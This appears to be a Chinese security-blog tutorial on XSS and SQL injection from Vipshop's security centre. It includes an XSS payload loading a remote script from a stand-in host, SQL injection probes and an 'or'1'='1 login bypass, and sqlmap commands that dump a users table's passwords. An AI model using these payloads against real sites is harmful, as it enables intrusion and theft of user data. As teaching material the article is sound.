【技术分享】Web安全之XSS与SQL注入

2017-09-22 13,740

又到了每周的干货分享时间!~

VSRC感谢业界小伙伴——古月林夕投稿精品原创类文章。VSRC欢迎精品原创类文章投稿,优秀文章一旦采纳发布,将有好礼相送,我们为您准备的丰富奖品包括但不仅限于:MacbookAir、VSRC定制雨伞,VSRC定制水杯以及VSRC精美POLO衫!(活动最终解释权归VSRC所有)

 

一、前言

近几年,伴随互联网的高速发展,对Web安全问题的重视也越来越高。Web应用所面临的威胁来自很多方面,其中黑客的破坏是影响最大的,黑客利用Web应用程序存在的漏洞进行非法入侵,从而破坏Web应用服务,盗取用户数据等,如何防范漏洞带来的安全威胁是一项艰巨的挑战。 

为了增强用户的交互体验,开发者们在Web应用程序中大量应用客户端脚本,使Web应用的内容与功能变得丰富有趣,然而隐藏的安全威胁随之而来,黑客们将Web攻击的思路从服务器端转向了客户端,利用客户端脚本漏洞的攻击变得越来越强大,如跨站脚本(XSS)和SQL注入成为了众多漏洞中最有针对性的攻击目标。

 

 二、XSS

XSS(Cross Site Scripting,跨站脚本攻击)是一类特殊的Web客户端脚本注入攻击手段,通常指攻击者通过“HTML注入”篡改了网页,插入恶意的脚本,从而在用户浏览网页时控制浏览器的一种攻击。

当应用程序发送给浏览器的页面中包含用户提供的数据,而这些数据没有经过适当的转义,或者在这些内容被显示在页面之前没有验证它们都是安全的,使得输入被视为浏览器中的动态内容,就会导致存在跨站脚本漏洞。

按照“数据是否保存在服务器”,XSS被分为:反射型XSS和存储型XSS。
反射型XSS:
服务器未对用户请求参数做任何编码或转义处理,直接将参数作为响应的一部分输出到页面中。反射型XSS是一次性的,很容易实施钓鱼攻击,即诱使被攻击者点击某条恶意链接就可触发漏洞。
存储型XSS: 
攻击者提供一个恶意负载输入并在后台保存一段时间,一旦用户访问含恶意程序的网页文件便形成有效攻击。富文本输入空间,都有存储型XSS的漏洞隐患,最严重可能导致XSS蠕虫。

 

1、简单测试脚本检测漏洞(XSS payload)
 

 

将payload作为用户输入参数提交测试,这些payload的目的是闭合html的标签,使浏览器弹窗。若服务器对请求参数没有过滤处理,即直接弹窗,那么包含有恶意代码的响应信息被浏览器直接解析执行,由此触发XSS漏洞,且误报率很低。

当然有些xss漏洞隐藏较深,并不能那么容易检测到,需要构造更加强大的payload绕过一些xss简单过滤。

 

2、xss攻击过程

在确定可注入的xss漏洞之后,诱使用户加载一个远程脚本,如将url的提交参数改为

“><script src=http://www.xxx.com/ec.js></script>

,攻击者将真正的恶意负载写在这个远程脚本中,避免直接在url的参数里写入大量的js的代码,通过恶意脚本,进而控制用户的浏览器,达到攻击目的。

 

三、SQL注入

攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

sql注入漏洞检测
1手动注入  

a、在参数中输入一个单引号”’”,引起执行查询语句的语法错误,得到服务器的错误回显,从而判断服务器的数据库类型信息。 根据数据库类型构造sql注入语句。
例如一个get方式的url[ http://www.xxx.com/abc.asp?p=YY ]
修改p的参数值http://www.xxx.com/abc.asp?p=YY and user>0 ,就可以判断是否是SQL-SERVER,而还可以得到当前连接到数据库的用户名。
http://www.xxx.com/abc.asp?p=YY&n … db_name()>0 不仅可以判断是否是SQL-SERVER,而还可以得到当前正在使用的数据库名 。

b、盲注,大部分时候web服务器关闭了错误回显。
http://www.xxx.com/abc.asp?p=1 and 1=2 sql命令不成立,结果为空或出错 ;
http://www.xxx.com/abc.asp?p=1 and 1=1 sql命令成立,结果正常返回 。
两个测试成功后,可以判断负载的sql被执行,存在sql注入漏洞。

手动注入网站示例。登录密码(‘or’1’=‘1)并成功进入管理后台。

2、自动化工具检测注入

SQLmap–检测与利用SQL注入漏洞的免费开源工具

sqlmap.py –u 【指定url 】 –cookie –dbs //列出数据库 

sqlmap.py –u 【指定url 】 - D 【数据库名】- -tables //列出某个库的数据表 

sqlmap.py –u 【指定url 】 -D 【数据库名】-T 【数据表名】 –columns //列出数据表的列名 

sqlmap.py –u 【指定url 】 -D dvwa -T users-C user,password –dump //把用户名密码列出来(sqlmap自动破解密码) 

 某网站拖库示例 

 

 

 

四、END

随着互联网的发展,对Web安全的防护的重视是必然趋势,欢迎大家一起学习交流。博客地址http://blog.csdn.net/swallowing_

本文作者:VSRC

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/60727.html

Tags:
评论  (0)
快来写下你的想法吧!

VSRC

文章数:28 积分: 50

感谢各位安全专家长期关注唯品会安全。

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号